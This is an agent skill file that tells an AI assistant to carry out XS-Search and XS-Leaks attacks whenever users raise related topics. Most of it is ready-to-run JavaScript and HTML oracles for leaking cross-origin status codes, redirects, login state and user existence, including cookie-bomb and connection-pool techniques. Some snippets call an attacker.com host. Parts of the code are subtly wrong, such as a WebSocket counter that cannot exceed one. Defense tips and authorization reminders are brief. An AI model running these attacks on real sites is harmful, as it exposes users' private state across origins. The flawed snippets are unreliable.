Hacktricks-skills xs-search-leaks
How to perform XS-Search and XS-Leaks attacks to extract cross-origin information through browser side-channel vulnerabilities. Use this skill whenever the user mentions cross-origin attacks, XS-Leaks, XS-Search, side-channel attacks, browser security testing, iframe exploitation, performance API leaks, timing attacks, or wants to enumerate user state across origins. This skill covers event handlers, timing techniques, global limits, performance API exploitation, error message analysis, and readable attribute extraction.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/xs-search/SKILL.MDXS-Search/XS-Leaks Attack Framework
A comprehensive guide for performing cross-origin information extraction attacks using browser side-channel vulnerabilities.
When to Use This Skill
Use this skill when you need to:
- Extract information from cross-origin pages you cannot directly access
- Enumerate user authentication state across different origins
- Detect redirects, status codes, or headers from cross-origin resources
- Perform browser-based side-channel attacks for security testing
- Understand and exploit XS-Leak vulnerabilities in web applications
- Test for information leakage through timing, event handlers, or browser APIs
Core Concepts
Attack Components
- Vulnerable Web: The target website from which information is extracted
- Attacker's Web: Your malicious page hosting the exploit
- Inclusion Method: How you incorporate the target (iframe, window.open, fetch, HTML elements)
- Leak Technique: How you discern state differences (timing, events, errors, etc.)
- States: The two conditions you're trying to distinguish (e.g., logged in vs. logged out)
- Detectable Differences: Observable variations you exploit
Detectable Differences You Can Exploit
| Difference Type | What It Reveals |
|---|---|
| Status Code | HTTP response codes (200, 404, 403, etc.) |
| API Usage | Whether specific Web APIs are used |
| Redirects | Navigation to different pages |
| Page Content | Response body variations, embedded frame counts, image sizes |
| HTTP Headers | X-Frame-Options, Content-Disposition, CORP, CORS headers |
| Timing | Time disparities between states |
Attack Techniques
1. Event Handler Techniques
Onload/Onerror Oracle
Best for: Status code detection, resource existence checks
<!-- Script-based approach --> <script> const script = document.createElement('script'); script.onload = () => console.log('Resource loaded (2xx)'); script.onerror = () => console.log('Resource failed (4xx/5xx)'); script.src = 'https://target.com/secret?user=' + candidate; </script> <!-- Scriptless approach --> <object data="https://target.com/404"> <object data="https://attacker.com/?error"></object> </object>
Use when: You need to distinguish between successful and failed resource loads
Content-Type/CORB Script Load Oracle
Best for: Brute-forcing identifiers when response type varies
<script> const script = document.createElement('script'); script.onload = () => { // HTML response - likely a match console.log('Match found'); }; script.onerror = () => { // JSON response blocked by CORB - no match console.log('No match'); }; script.src = `https://target.com/api/user/${candidate}`; </script>
Use when: Target returns HTML on match vs JSON on mismatch
postMessage vs X-Frame-Options Oracle
Best for: Detecting widget loading with postMessage signals
<iframe id="target" width="0" height="0"></iframe> <script> function test(id) { target.src = `https://target.com/widget?user=${id}`; return new Promise(r => { const timeout = setTimeout(() => r(false), 2000); window.onmessage = () => { clearTimeout(timeout); r(true); // Message received = success }; }); } </script>
Use when: Target widgets emit postMessage on successful load
2. Timing-Based Techniques
Onload Timing
Best for: Measuring network request duration
function measureLoad(url) { const start = performance.now(); const img = new Image(); img.onload = () => { const duration = performance.now() - start; console.log(`Load time: ${duration}ms`); return duration; }; img.src = url; }
Use when: Different states have measurably different load times
Sandbox Frame Timing
Best for: Cleaner timing measurements (no JS execution variance)
<iframe id="target" sandbox></iframe> <script> const start = performance.now(); target.onload = () => { const duration = performance.now() - start; console.log(`Sandbox load time: ${duration}ms`); }; target.src = 'https://target.com/secret'; </script>
Use when: You need timing without JavaScript execution noise
Connection Pool Timing
Best for: Measuring target page load time by blocking sockets
async function connectionPoolTiming(targetUrl) { // Block 255 sockets const promises = []; for (let i = 0; i < 255; i++) { promises.push(fetch(`https://blocker${i}.example.com/hold`)); } // Load target on 256th socket const targetStart = performance.now(); await fetch(targetUrl); const targetDuration = performance.now() - targetStart; // 257th request waits for socket release const waitStart = performance.now(); await fetch('https://signal.example.com/done'); const waitDuration = performance.now() - waitStart; console.log(`Target load: ${targetDuration}ms, Wait: ${waitDuration}ms`); }
Use when: You need to isolate target page network time
3. Performance API Techniques
Error Leak Detection
Best for: Distinguishing error responses from successful ones
function checkPerformanceEntry(url) { const img = new Image(); img.src = url; setTimeout(() => { const entries = performance.getEntriesByType('resource'); const found = entries.find(e => e.name.includes(url)); if (!found) { console.log('No performance entry = error response'); } else { console.log('Performance entry exists = successful response'); } }, 1000); }
Use when: Error responses don't create performance entries
X-Frame-Options Detection
Best for: Detecting framing protection headers
function detectXFrameOptions(url) { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); iframe.src = url; setTimeout(() => { const entries = performance.getEntriesByType('resource'); const found = entries.find(e => e.name.includes(url)); if (!found) { console.log('X-Frame-Options likely present (no entry)'); } else { console.log('No X-Frame-Options blocking'); } }, 1000); }
Use when: You need to detect framing protection
Redirect Detection
Best for: Detecting if a response is a redirect
async function detectRedirect(url) { const response = await fetch(url, { redirect: 'manual' }); if (response.type === 'opaqueredirect') { console.log('Redirect detected'); } else { console.log('No redirect'); } }
Use when: You need to detect cross-origin redirects
4. Global Limits Techniques
WebSocket Connection Count
Best for: Detecting WebSocket usage on target page
function countWebSockets(targetUrl) { const win = window.open(targetUrl); let exceptions = 0; try { for (let i = 0; i < 100; i++) { new WebSocket('wss://attacker.com/ws'); } } catch (e) { exceptions++; } console.log(`Target uses ${exceptions} WebSocket connections`); win.close(); }
Use when: You need to detect WebSocket usage patterns
History Length Oracle
Best for: Detecting navigation to specific URLs
async function checkHistoryLength(win, url) { const before = win.history.length; win.location = url + '#test'; win.location = 'about:blank'; await new Promise(r => setTimeout(r, 500)); const after = win.history.length; return after > before; // true if URL was correct }
Use when: You need to verify if a frame/popup is at a specific URL
5. Readable Attributes Techniques
Frame Counting
Best for: Detecting page state through iframe count
function countFrames(win) { return win.length; // Number of frames in the window } // Monitor for changes setInterval(() => { const count = countFrames(targetWindow); console.log(`Frame count: ${count}`); }, 1000);
Use when: Page state changes the number of embedded frames
Image Dimensions Leak
Best for: Detecting content through image size
function getImageDimensions(url) { const img = new Image(); img.src = url; img.onload = () => { console.log(`Width: ${img.width}, Height: ${img.height}`); // Different sizes = different content }; }
Use when: Content variations affect image dimensions
CSS Property Leak
Best for: Detecting styling changes based on user state
function detectCSSProperty(url, selector, property) { const link = document.createElement('link'); link.rel = 'stylesheet'; link.href = url; document.head.appendChild(link); setTimeout(() => { const element = document.querySelector(selector); const style = window.getComputedStyle(element); const value = style.getPropertyValue(property); console.log(`${property}: ${value}`); }, 1000); }
Use when: Target changes CSS based on user authentication/state
6. Error Message Techniques
Media Error Status Code Leak
Best for: Firefox status code extraction
function mediaErrorLeak(url) { const audio = new Audio(); audio.src = url; audio.onerror = () => { const err = audio.error; const message = err.message; if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') || message.includes('Failed to init decoder')) { console.log('Status: Success (2xx)'); } else { console.log('Status: Error (4xx/5xx)'); } }; }
Use when: Testing in Firefox for status code leaks
CORS Error Redirect Leak
Best for: Extracting redirect URLs in Webkit browsers
async function corsRedirectLeak(url) { try { await fetch(url, { mode: 'cors' }); } catch (e) { // Error message may contain redirect URL console.log('CORS error:', e.message); } }
Use when: Target redirects based on user state
Practical Attack Patterns
Pattern 1: User Enumeration via XS-Leaks
async function enumerateUsers(targetUrl, candidates) { for (const user of candidates) { const start = performance.now(); const img = new Image(); img.onload = () => { const duration = performance.now() - start; if (duration < 100) { // Fast = cached/exists console.log(`User exists: ${user}`); } }; img.onerror = () => { console.log(`User not found: ${user}`); }; img.src = `${targetUrl}/api/user/${user}`; await new Promise(r => setTimeout(r, 200)); } }
Pattern 2: Authentication State Detection
function detectAuthState(targetUrl) { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); iframe.src = targetUrl; setTimeout(() => { const entries = performance.getEntriesByType('resource'); const found = entries.find(e => e.name.includes(targetUrl)); if (found && found.duration > 0) { console.log('Likely authenticated (page loaded)'); } else { console.log('Likely not authenticated (redirected/blocked)'); } }, 2000); }
Pattern 3: Cookie Bomb + XS-Search
function cookieBombXSLeak(targetUrl) { // Set large cookies to trigger size-based errors for (let i = 0; i < 100; i++) { document.cookie = `bomb${i}=${'x'.repeat(4000)}`; } // Load target - if response size + cookies exceeds limit, error occurs const img = new Image(); img.onload = () => console.log('Response small enough'); img.onerror = () => console.log('Response too large (contains secret)'); img.src = targetUrl; }
Defense Recommendations
For Developers
- Set proper CORS headers: Don't use
for sensitive endpointsAccess-Control-Allow-Origin: * - Implement X-Frame-Options: Use
orDENY
appropriatelySAMEORIGIN - Use CORP headers:
Cross-Origin-Resource-Policy: same-origin - Avoid timing variations: Make responses consistent regardless of state
- Validate and sanitize: Prevent injection that enables these attacks
- Use COOP:
Cross-Origin-Opener-Policy: same-origin
For Security Testers
- Test multiple browsers: Leaks vary by browser implementation
- Combine techniques: Use multiple leak vectors for confirmation
- Consider timing noise: Account for network variance in timing attacks
- Document findings: Track which techniques work on which targets
- Respect scope: Only test authorized targets
References
Important Notes
- Legal: Only perform these attacks on systems you have explicit authorization to test
- Browser Variations: Techniques work differently across Chrome, Firefox, Safari
- Mitigations: Modern browsers are actively reducing these attack surfaces
- Noise: Timing attacks require statistical analysis to overcome variance
- Ethics: Use these techniques responsibly for security research and authorized testing only